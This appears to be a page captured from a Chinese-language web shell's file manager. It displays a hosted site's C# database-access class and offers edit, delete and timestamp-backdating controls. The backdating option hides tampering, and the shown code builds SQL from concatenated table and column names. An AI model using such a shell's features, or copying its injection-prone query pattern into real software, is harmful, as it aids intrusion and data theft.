文件操作 - Class1.cs
返回文件管理
返回主菜单
删除本文件
文件: E:\HostingSpaces\kimblycr\alex.kimbly.in\wwwroot\App_Code\Class1.cs
编辑文件内容
using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Data; using System.Data.SqlClient; using System.Configuration; /// <summary> /// Summary description for Class1 /// </summary> public abstract class MyConnection { static protected SqlConnection mycon2 = new SqlConnection(ConfigurationManager.ConnectionStrings["AlexLibraryConnectionString"].ConnectionString); } public class SelectClass : MyConnection { public static string GetDetailsScalar(string table, string Primarykey, string val, string col) { string cmdtxt = "Select " + col + " from " + table + " where " + Primarykey + " = @val"; SqlCommand cmd2 = new SqlCommand(cmdtxt, mycon2); cmd2.Parameters.AddWithValue("@val", val); if (mycon2.State != ConnectionState.Open) { mycon2.Open(); } object obj = cmd2.ExecuteScalar(); string valu = ""; if (obj != null) valu = Convert.ToString(cmd2.ExecuteScalar()); mycon2.Close(); return valu; } public static DataTable GetUsers(string EmailID, string Password) { string cmdtxt = "GetUsers"; SqlCommand cmd = new SqlCommand(cmdtxt, mycon2); cmd.CommandType = CommandType.StoredProcedure; cmd.Parameters.AddWithValue("@EmailID", EmailID); cmd.Parameters.AddWithValue("@Password", Password); SqlDataAdapter da = new SqlDataAdapter(cmd); DataTable dt = new DataTable(); da.Fill(dt); return dt; } public static DataTable GetCheckUserLoggedIn(string EmailID) { string cmdtxt = "GetCheckUserLoggedIn"; SqlCommand cmd = new SqlCommand(cmdtxt, mycon2); cmd.CommandType = CommandType.StoredProcedure; cmd.Parameters.AddWithValue("@EmailID", EmailID); SqlDataAdapter da = new SqlDataAdapter(cmd); DataTable dt = new DataTable(); da.Fill(dt); return dt; } } public class InsertClass: MyConnection { public static void InsertBook(string Name, string Desc, int CategoryID) { SqlCommand cmd = new SqlCommand("InsertBook", mycon2); cmd.CommandType = CommandType.StoredProcedure; cmd.Parameters.AddWithValue("@Name", Name); cmd.Parameters.AddWithValue("@Description", Desc); cmd.Parameters.AddWithValue("@CategoryID", CategoryID); if (mycon2.State == ConnectionState.Closed) { mycon2.Open(); } cmd.ExecuteNonQuery(); mycon2.Close(); cmd.Dispose(); } public static void InsertBookTags(int BookID, int CategoryID) { SqlCommand cmd = new SqlCommand("InsertBookTags", mycon2); cmd.CommandType = CommandType.StoredProcedure; cmd.Parameters.AddWithValue("@BookID", BookID); cmd.Parameters.AddWithValue("@CategoryID", CategoryID); if (mycon2.State == ConnectionState.Closed) { mycon2.Open(); } cmd.ExecuteNonQuery(); mycon2.Close(); cmd.Dispose(); } public static void Insert_LoginTrack(string EMailID, string Longitude, string Lattitude, string address) { SqlCommand cmd = new SqlCommand("Insert_LoginTrack", mycon2); cmd.CommandType = CommandType.StoredProcedure; cmd.Parameters.AddWithValue("@EMailID", EMailID); cmd.Parameters.AddWithValue("@Longitude", Longitude); cmd.Parameters.AddWithValue("@Lattitude", Lattitude); cmd.Parameters.AddWithValue("@address", address); if (mycon2.State == ConnectionState.Closed) { mycon2.Open(); } cmd.ExecuteNonQuery(); mycon2.Close(); cmd.Dispose(); } public static void RemoveBookTags(int ID) { SqlCommand cmd = new SqlCommand("RemoveBookTags", mycon2); cmd.CommandType = CommandType.StoredProcedure; cmd.Parameters.AddWithValue("@ID", ID); if (mycon2.State == ConnectionState.Closed) { mycon2.Open(); } cmd.ExecuteNonQuery(); mycon2.Close(); cmd.Dispose(); } #region User Table public static DataTable InsertUsers(string EmailID,string Phone,string Password) { SqlCommand cmd = new SqlCommand("InsertUsers", mycon2); cmd.CommandType = CommandType.StoredProcedure; cmd.Parameters.AddWithValue("@EmailID", EmailID); cmd.Parameters.AddWithValue("@Phone", Phone); cmd.Parameters.AddWithValue("@Password", Password); SqlDataAdapter da = new SqlDataAdapter(cmd); DataTable dt = new DataTable(); da.Fill(dt); return dt; } #endregion User Table } public class UpdateClass:MyConnection { public static void SetUserLoggedIn(string EmailID) { string cmdtxt = "SetUserLoggedIn"; SqlCommand cmd = new SqlCommand(cmdtxt, mycon2); cmd.CommandType = CommandType.StoredProcedure; cmd.Parameters.AddWithValue("@EmailID", EmailID); if (mycon2.State != ConnectionState.Open) { mycon2.Open(); } cmd.ExecuteNonQuery(); mycon2.Close(); } }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件